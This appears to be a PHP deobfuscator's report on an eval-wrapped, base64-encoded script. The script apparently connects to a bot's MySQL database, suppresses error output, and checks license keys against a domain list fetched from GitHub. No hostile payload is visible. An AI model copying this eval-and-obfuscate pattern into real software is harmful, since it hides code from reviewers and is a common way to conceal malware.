XDE1NVwxNTdceDc0XDE0MVw1NFw0MFx4NzNceDY5XDE2NFx4NjVceDVmXHg2Y1wxNTdceDY3XHg2Zlw1NFx4MjBcMTYzXDE0NFwxNjRcMTM3XHg2MVx4NjRcMTU1XDE1MVx4NmVceDJjXDQwXDE0NlwxNDFceDYzXHg2NVx4NjJceDZmXDE1N1x4NmJcNDBcMTA2XHg1Mlx4NGZcMTE1XHgyMFwxNjNcMTQ1XDE2NFx4NzRceDY5XHg2ZVx4NjciKS0+ZmV0Y2hfYXJyYXkoKTsgZ290byBiNXRpSzsgT1RXUDk6IGlmICghY2hlY2tMaWNlbnNlS2V5KCRsaWNlbnNlS2V5KSB8fCAhY2hlY2tMaWNlbnNlRG9tYWluKCRsaWNlbnNlRG9tYWluKSkgeyBkaWUoIlwxMDJcMTU3XDE3Mlx4MjBceDRlXHg2ZlwxNjRceDY5XDE0Nlx4NjlceDYzXDE0MVwxNjRcMTUxXDE1N1wxNTZcNzJcNDBceDRiXDE0NVx4NzlcNDBcMTQyXHhlMVwyNzJceGEzXDE1Nlw0MFwxNjFcMTY1XDE3MVwzNDFceGJiXHg4MVwxNTZcNDBceDZiXDE1MFwzMDNceGI0XHg2ZVwxNDdceDIwXDE1MFwzNDFcMjczXDI0M1wxNjBceDIwXDE1NFx4ZTFceGJiXHg4N1w0MFx4NjhcMTU3XHhlMVx4YmFceGI3XHg2M1x4MjBceGM0XDIyMVx4YzNceGEzXHgyMFx4YzRceDkxXHhjNlx4YjBcMzQxXDI3M1wyNDNceDYzXHgyMFx4NzNcMzQxXDI3M1x4YWRcNDBcMTQ0XHhlMVx4YmJcMjQ1XDE1Nlx4NjdceDIwXDE0M1wxNTBceDZmXHgyMFx4NzRcMzAzXHhhYVx4NmVcNDBceDZkXHg2OVwzNDFceGJiXHg4MVx4NmVcNDBcMTUzXHg2OFx4YzNceGExXDE0M1w1NiIpOyB9IGdvdG8gdVhUMUk7IGlJRmhzOiBkZWZpbmUoIlx4NTVceDUzXDEwNVx4NTJcMTE2XHg0MVwxMTVceDQ1IiwgJF9FTlZbIlwxMDRceDQyXDEzN1wxMjVcMTIzXDEwNVx4NTIiXSk7IGdvdG8gZWRoYWg7IHVYVDFJOiAkYm96dHJhbkRpciA9IF9fRElSX18gLiAiXDU3XDU2XHgyZVw1N1wxNDJcMTU3XDE3Mlx4NzRceDcyXHg2MVwxNTYiOyBnb3RvIE9pNVhZOyBjdzlKZjogZnVuY3Rpb24gcmFuZG9tKCRzdHJpbmcsICRsZW5ndGgpIHsgJGNoYXJhY3RlcnMgPSBzdHJfc2h1ZmZsZSgkc3RyaW5nKTsgcmV0dXJuIHN1YnN0cigkY2hhcmFjdGVycywgMCwgJGxlbmd0aCk7IH0gZ290byBLWmVLQjsgVjliMlo6ICRrZXRub2kgPSBteXNxbGlfY29ubmVjdCgiXDE1NFx4NmZcMTQzXDE0MVx4NmNcMTUwXDE1N1wxNjNcMTY0IiwgVVNFUk5BTUUsIFBBU1NXT1JELCBEQVRBQkFTRSk7IGdvdG8ga0RFUzc7IEFyN2htOiAkbGljZW5zZURvbWFpbiA9ICRfU0VSVkVSWyJcMTEwXHg1NFwxMjRcMTIwXDEzN1x4NDhceDRmXHg1M1x4NTQiXTsgZ290byBPVFdQOTsgSFhEOTM6IGZ1bmN0aW9uIGNoZWNrTGljZW5zZURvbWFpbigkbGljZW5zZURvbWFpbikgeyBpZiAoZW1wdHkoJGxpY2Vuc2VEb21haW4pKSB7IHJldHVybiBmYWxzZTsgfSAkZ2l0aHViVXJsID0gIlx4NjhceDc0XDE2NFwxNjBcMTYzXDcyXDU3XDU3XDE2Mlx4NjFcMTY3XDU2XHg2N1x4NjlceDc0XHg2OFx4NzVceDYyXDE2NVwxNjNcMTQ1XDE2Mlx4NjNceDZmXDE1NlwxNjRceDY1XDE1NlwxNjRceDJlXHg2M1wxNTdcMTU1XHgyZlx4NjJceDZmXDE3Mlx4NzRceDcyXDE0MVwxNTZcNTdcMTU0XHg2OVwxNDNcMTQ1XDE1Nlx4NzNcMTQ1XHgyZlwxNTVcMTQxXDE1MVwxNTZceDJmXHg2Y1x4NjlceDYzXHg2NVwxNTZceDczXHg2NVwxNDRcMTU3XHg2ZFx4NjFcMTUxXHg2ZVw1NlwxNjRcMTcwXDE2NCI7ICRsaWNlbnNlRG9tYWluTGlzdCA9IGZpbGVfZ2V0X2NvbnRlbnRzKCRnaXRodWJVcmwpOyByZXR1cm4gc3RycG9zKCRsaWNlbnNlRG9tYWluTGlzdCwgJGxpY2Vuc2VEb21haW4pICE9PSBmYWxzZTsgfSBnb3RvIFVRQVFKOyBVOENWSTogJHNpdGVfbW90YSA9ICRzaXRlWyJceDczXHg2OVx4NzRceDY1XHg1ZlwxNTVcMTU3XHg3NFwxNDEiXTsgZ290byBqU0FQcDsgcFhWWjA6IGRlZmluZSgiXDEwNFwxMDFcMTI0XHg0MVwxMDJceDQxXDEyM1wxMDUiLCAkX0VOVlsiXDEwNFwxMDJceDVmXDExNlx4NDFceDRkXHg0NSJdKTsgZ290byBpSUZoczsgbGp6eVA6ICRkZXZlbG9wZXIgPSBmYWxzZTsgZ290byBwWFZaMDsgb3hRb2o6IGlmICgkZGV2ZWxvcGVyID09IHRydWUpIHsgaW5pX3NldCgiXHg2NFwxNTFceDczXDE2MFwxNTRceDYxXHg3OVx4NWZceDY1XHg3MlwxNjJceDZmXHg3Mlx4NzMiLCAwKTsgaW5pX3NldCgiXDE0NFx4NjlceDczXHg3MFwxNTRcMTQxXDE3MVwxMzdceDczXHg3NFx4NjFcMTYyXDE2NFx4NzVcMTYwXHg1Zlx4NjVceDcyXDE2MlwxNTdcMTYyXDE2MyIsIDApOyBlcnJvcl9yZXBvcnRpbmcoMCk7IH0gZ290byBPNjlMdzsgYjl3azg6IA==')); ?>

Function Calls

base64_decode 1

Variables

None

Stats

MD5 c7971013f8ebd3307839e391b31ef4fc
Eval Count 1
Decode Time 50 ms